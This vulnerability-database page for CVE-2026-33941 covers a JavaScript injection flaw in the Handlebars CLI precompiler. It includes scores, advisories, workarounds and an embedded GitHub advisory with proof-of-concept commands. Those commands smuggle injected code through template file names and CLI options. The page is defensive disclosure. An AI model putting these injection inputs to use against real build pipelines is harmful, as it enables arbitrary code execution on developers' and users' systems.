CVE-2026-33941

highPriorität · verfolgen · 33EPSS 0.003 · 22. PerzentilDEEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.30% (22nd) EPSS
CVSS 8.2 · high
Is it mine?
13 products
Prüfe deine Angriffsfläche
Who says so?
6 sources
cnnvd · enisa_euvd · fstec_bdu · cert_bund

EPSS · bewertet 2026-10-27

Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated build pipeline.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

8.3
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.18.2highCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:Hprimary · NVD / NIST USAusnutzbarkeit 1.5 · Auswirkung 6
v3.18.2highAV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.18.3highCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:Hsecondary · ENISA EU
v3.18.2highCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:Hsecondary · security-advisories@github.comAusnutzbarkeit 1.5 · Auswirkung 6
v3.18.2highCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:HsecondaryAusnutzbarkeit 1.5 · Auswirkung 6
v3.18.2highCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:Hsecondary · OSV
v3.17.5highCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (13)

Betroffene Produkte und Versionsbereiche.

05

Advisories (4)

Hersteller- und Ökosystem-Meldungen dazu.

  • WID-SEC-W-2026-1434IBM App Connect Enterprise Certified Container: Mehrere SchwachstellenDeutsch2026-05-07csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Programmcode auszuführen, vertrauliche Informationen offenzulegen, einen Denial-of-Service-Zustand zu verursachen oder Cross-Site-Scripting-Angriffe durchzuführen.

  • WID-SEC-W-2026-3655IBM InfoSphere Data Replication: Mehrere SchwachstellenDeutsch2026-09-29csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in IBM InfoSphere Data Replication ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen und um einen Cross-Site Scripting Angriff durchzuführen.

  • WID-SEC-W-2026-4059Oracle REST Data Services: Mehrere SchwachstellenDeutsch2026-10-20csaf · cert_bundDE

    Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle REST Data Services ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.

  • GHSA-xjpj-3mr7-gcpfHandlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options2026-03-27ghsa · osvUS

    ## Summary The Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. ## Description `lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist: ### 1. Template name injection ```javascript // Vulnerable code pattern output += 'templates["' + template.name + '"] = template(...)'; ``` `template.name` is derived from the file system path. A filename containing `"` or `'];` breaks out of the string literal and injects arbitrary JavaScript. ### 2. Namespace injection (`-n` / `--namespace`) ```javascript // Vulnerable code pattern output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};'; ``` `opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement. ### 3. CommonJS path injection (`-c` / `--commonjs`) ```javascript // Vulnerable code pattern output += 'var Handlebars = require("' + opts.commonjs + '");'; ``` `opts.commonjs` is interpolated inside double quotes with no escaping, allowing `"` to close the string and inject further code. ### 4. AMD path injection (`-h` / `--handlebarPath`) ```javascript // Vulnerable code pattern output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)"; ``` `opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element. All four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser. ## Proof of Concept **Template name vector (creates a file `pwned` on disk):** ```bash mkdir -p templates printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars" node bin/handlebars templates -o out.js node -e 'require("./out.js")' # Executes injected code, creates ./pwned ``` **Namespace vector:** ```bash node bin/handlebars templates -o out.js \ -n "App.ns; require('fs').writeFileSync('pwned2','1'); //" node -e 'require("./out.js")' ``` **CommonJS vector:** ```bash node bin/handlebars templates -o out.js \ -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //' node -e 'require("./out.js")' ``` **AMD vector:** ```bash node bin/handlebars templates -o out.js -a \ -h "'); require('fs').writeFileSync('pwned4','1'); // " node -e 'require("./out.js")' ``` ## Workarounds - **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`"`, `'`, `;`, etc.). - **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines. - **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation. - **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.

06

auch bekannt als (4)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-03-27geändert 2026-10-26
08

Referenzen (15)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan